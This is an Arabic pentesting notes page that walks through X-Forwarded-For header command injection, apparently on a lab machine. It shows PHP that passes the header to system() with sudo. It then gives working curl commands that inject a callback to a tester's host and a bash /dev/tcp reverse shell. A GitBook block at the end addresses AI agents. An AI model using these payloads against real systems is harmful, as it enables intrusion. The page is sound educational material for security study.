> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).

# حقن أوامر X-Forwarded-For

إذا لاحظنا الملف `firewall.php`، نلاحظ أنه يسترجع الترويسة `HTTP_X_FORWARDED_FOR` ويستخدمها مع `sudo` لتنفيذ أمر:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>

```

<figure><img src="/files/e4c39a662fd8acd900701a9237c4551b07259a70" alt=""><figcaption></figcaption></figure>

وبما أن هذا المتغير يمكن التحكم فيه عبر طلب HTTP، يمكننا حقن أمر عشوائي. **الاستغلال** وبما أن هذه ترويسة HTTP، يمكننا حقن أمر، على سبيل المثال باستخدام `curl` للاتصال بخادم الويب الخاص بنا. **إعداد خادم الويب:**

```bash
python3 -m http.server 80

```

**حقن الأوامر باستخدام `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'

```

{% endcode %}

<figure><img src="/files/2ae6fc0ebda4c1b295948b16ed74f06358f77797" alt=""><figcaption></figcaption></figure>

**شل عكسي** **الاستماع على المنفذ 443:**

```bash
nc -nlvp 443

```

**أمر للحصول على shell عن بُعد:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'

```

{% endcode %}

بمجرد الاتصال، نكون المستخدم `www-data`.

<figure><img src="/files/d5d5ff5601ccb8e96f39567e8323971ec9ce6b06" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
